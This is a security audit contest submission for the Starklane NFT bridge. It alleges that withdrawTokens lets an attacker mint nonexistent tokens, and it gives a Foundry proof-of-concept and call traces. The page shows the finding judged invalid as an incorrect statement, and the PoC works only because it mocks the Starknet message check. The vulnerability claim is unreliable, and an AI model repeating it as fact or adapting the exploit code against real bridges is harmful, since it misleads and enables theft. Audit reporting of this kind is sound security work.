NFTBridge
60,000 USDC
View results
Submission Details
Severity: high
Invalid

Unauthorized Token Minting During Withdrawal process in Bridge contract

Summary

The Starklane bridge contract allows attackers to mint new tokens on L1 without corresponding ownership or existence on L2. This flaw in the withdrawal mechanism compromises the integrity of the bridge, potentially leading to unauthorized token creation and economic exploitation.

The following functions are most relevant to this vulnerability:

1: Starklane::withdrawTokens()

├─ [90186] Starklane::withdrawTokens([257, 97092367205084026991336060038377115454 [9.709e37], 261014402565892200214114358834094803843 [2.61e38], 263400868551549723330807389252719309078400616203 [2.634e47], 123456 [1.234e5], 22136 [2.213e4], 22136 [2.213e4], 0, 5264467428416107309916742370900 [5.264e30], 13, 0, 1112426068 [1.112e9], 4, 0, 0, 0, 1, 999, 0, 0, 0, 0])

This is the main function where the vulnerability is exposed. It's responsible for processing withdrawal requests and should be transferring tokens, but instead, it's minting new ones.

2: ERC721Bridgeable::mintFromBridge()

│ ├─ [49327] ERC721Bridgeable::mintFromBridge(0x0000000000000000000000000000000000005678, 999)
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000005678, tokenId: 999)

This function is called by withdrawTokens() and is responsible for minting new tokens. It's being misused in the withdrawal process.

3: IStarknetMessaging::consumeMessageFromL2()

│ ├─ [0] 0xde29d060D45901Fb19ED6C6e959EB22d8626708e::consumeMessageFromL2(123, [257, 97092367205084026991336060038377115454 [9.709e37], 261014402565892200214114358834094803843 [2.61e38], 263400868551549723330807389252719309078400616203 [2.634e47], 123456 [1.234e5], 22136 [2.213e4], 22136 [2.213e4], 0, 5264467428416107309916742370900 [5.264e30], 13, 0, 1112426068 [1.112e9], 4, 0, 0, 0, 1, 999, 0, 0, 0, 0])

This function is called to consume the message from L2. It's relevant because it's part of the process that should be verifying the legitimacy of the withdrawal request.

4: ERC721Bridgeable::ownerOf()

├─ [646] ERC721Bridgeable::ownerOf(999) [staticcall]

While not directly part of the vulnerability, this function is used to verify the token ownership before and after the attack, demonstrating the successful unauthorized minting.

5: Starklane::setL1L2CollectionMapping()

├─ [48975] Starklane::setL1L2CollectionMapping(ERC721Bridgeable: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 123456 [1.234e5], true)

This function sets up the mapping between L1 and L2 collections. While not directly exploited, it's part of the setup that should be ensuring proper cross-chain token management.

Proof Of Concept

Coded Poc

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Bridge.sol";
import "../src/token/ERC721Bridgeable.sol";
import "../src/sn/Cairo.sol";
import "../lib/starknet/IStarknetMessaging.sol";
contract WithdrawVulnerabilityPoC is Test {
Starklane public bridge;
ERC721Bridgeable public bridgeableNFT;
IStarknetMessaging public starknetMessaging;
address public legitimateUser;
address public attacker;
function setUp() public {
legitimateUser = address(0x1);
attacker = address(0x2);
// Use the actual Starknet messaging contract address
starknetMessaging = IStarknetMessaging(0xde29d060D45901Fb19ED6C6e959EB22d8626708e);
// Deploy bridge
bridge = new Starklane();
bytes memory initData = abi.encode(
address(this),
address(starknetMessaging),
uint256(123), // L2 address
uint256(456) // L2 selector
);
bridge.initialize(initData);
bridge.enableBridge(true);
// Deploy bridgeable NFT
bridgeableNFT = new ERC721Bridgeable();
bridgeableNFT.initialize(abi.encode("BridgeableNFT", "BNFT"));
bridgeableNFT.transferOwnership(address(bridge));
// Whitelist the NFT in the bridge
bridge.whiteList(address(bridgeableNFT), true);
}
function testUnauthorizedMinting() public {
address attacker = address(0x5678);
uint256 nonExistentTokenId = 999; // A token ID that doesn't exist yet
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = nonExistentTokenId;
// Set up the L1-L2 collection mapping
uint256 l2CollectionAddress = 123456; // Replace with an appropriate L2 address
vm.prank(address(this));
bridge.setL1L2CollectionMapping(address(bridgeableNFT), Cairo.snaddressWrap(l2CollectionAddress), true);
// Prepare withdrawal data for a non-existent token
Request memory req = Request({
header: Protocol.requestHeaderV1(CollectionType.ERC721, false, false),
hash: Protocol.requestHash(0, address(bridgeableNFT), Cairo.snaddressWrap(uint256(uint160(attacker))), tokenIds),
collectionL1: address(bridgeableNFT),
collectionL2: Cairo.snaddressWrap(l2CollectionAddress),
ownerL1: attacker,
ownerL2: Cairo.snaddressWrap(uint256(uint160(attacker))),
name: "BridgeableNFT",
symbol: "BNFT",
uri: "",
tokenIds: tokenIds,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory withdrawalData = Protocol.requestSerialize(req);
// Simulate L2 to L1 message
bytes32 msgHash = keccak256(abi.encodePacked(uint256(123), withdrawalData));
vm.mockCall(
address(starknetMessaging),
abi.encodeWithSelector(IStarknetMessaging.consumeMessageFromL2.selector, uint256(123), withdrawalData),
abi.encode(msgHash)
);
// Verify the token doesn't exist before the withdrawal attempt
vm.expectRevert("ERC721: invalid token ID");
bridgeableNFT.ownerOf(nonExistentTokenId);
// Attacker attempts to withdraw (mint) a non-existent token
vm.prank(attacker);
try bridge.withdrawTokens(withdrawalData) {
// If this succeeds, check if the token was actually minted to the attacker
address newOwner = bridgeableNFT.ownerOf(nonExistentTokenId);
if (newOwner == attacker) {
emit log("Vulnerability Confirmed: Attacker successfully minted a new token");
assertTrue(true, "Attacker should not be able to mint new tokens");
} else {
emit log("Token was minted, but not to the attacker");
emit log_address(newOwner);
assertTrue(false, "Token should not have been minted at all");
}
} catch Error(string memory reason) {
emit log_string("Withdrawal (minting) failed with reason:");
emit log_string(reason);
assertTrue(false, "Withdrawal should have succeeded, minting a new token");
}
// Clear the mock to prevent interference with other tests
vm.clearMockedCalls();
}
}

Vulnerability Details

The vulnerability in the Starklane bridge allows an attacker to mint new tokens on L1 by exploiting a flawed withdrawal mechanism. The following step-by-step breakdown of the test results demonstrates this vulnerability:

1: Initial Setup:

  • A non-existent token ID (999) is chosen for the attack.

  • The L1-L2 collection mapping is set up.

2: Pre-attack State Verification:

├─ [0] VM::expectRevert(ERC721: invalid token ID)
├─ [2671] ERC721Bridgeable::ownerOf(999) [staticcall]
│ └─ ← [Revert] revert: ERC721: invalid token ID

This confirms that token ID 999 does not exist before the attack.

3: Attacker Initiates Withdrawal:

├─ [0] VM::prank(0x0000000000000000000000000000000000005678)
│ └─ ← [Return]
├─ [90186] Starklane::withdrawTokens([257, 97092367205084026991336060038377115454 [9.709e37], 261014402565892200214114358834094803843 [2.61e38], 263400868551549723330807389252719309078400616203 [2.634e47], 123456 [1.234e5], 22136 [2.213e4], 22136 [2.213e4], 0, 5264467428416107309916742370900 [5.264e30], 13, 0, 1112426068 [1.112e9], 4, 0, 0, 0, 1, 999, 0, 0, 0, 0])

The attacker calls withdrawTokens with data for the non-existent token ID 999.

4: Bridge Contract Processes Withdrawal:

│ ├─ [0] 0xde29d060D45901Fb19ED6C6e959EB22d8626708e::consumeMessageFromL2(123, [257, 97092367205084026991336060038377115454 [9.709e37], 261014402565892200214114358834094803843 [2.61e38], 263400868551549723330807389252719309078400616203 [2.634e47], 123456 [1.234e5], 22136 [2.213e4], 22136 [2.213e4], 0, 5264467428416107309916742370900 [5.264e30], 13, 0, 1112426068 [1.112e9], 4, 0, 0, 0, 1, 999, 0, 0, 0, 0])
│ │ └─ ← [Return] 0xc30c3c9aafe83776bc0ac679b01ed3b76d376114b6bc4a46e59a30520ba2411f

The contract processes the withdrawal request without verifying the token's existence or ownership on L2.

5: Unauthorized Minting Occurs:

│ ├─ [49327] ERC721Bridgeable::mintFromBridge(0x0000000000000000000000000000000000005678, 999)
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000005678, tokenId: 999)
│ │ └─ ← [Stop]

Instead of transferring an existing token, the contract mints a new token with ID 999 to the attacker's address.

6: Confirmation of Successful Attack:

├─ [646] ERC721Bridgeable::ownerOf(999) [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000005678
├─ emit log(val: "Vulnerability Confirmed: Attacker successfully minted a new token")

The ownerOf function confirms that the attacker now owns the newly minted token 999.

This breakdown clearly shows that an attacker can mint any token ID they choose, as long as it doesn't already exist on L1, without any verification of ownership or existence on L2. The vulnerability stems from the bridge contract's flawed withdrawal mechanism, which mints new tokens instead of transferring existing ones, and lacks proper verification of token state between L1 and L2.

Impact

1: Attackers can artificially increase the token supply on L1 without corresponding backing on L2.

2: Malicious actors can create value out of thin air, potentially leading to significant financial losses for legitimate users and stakeholders.

3: The fundamental security model of the bridge is broken, undermining trust in the entire system.

Tools Used

Manual review

Recommendations

1: Implement a proper withdrawal mechanism that transfers existing tokens instead of minting.

2: Add robust state verification to ensure tokens being withdrawn exist and are owned by the claimer on L2.

3: Introduce a two-step withdrawal process: verification of ownership/existence on L2, followed by transfer on L1.

Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.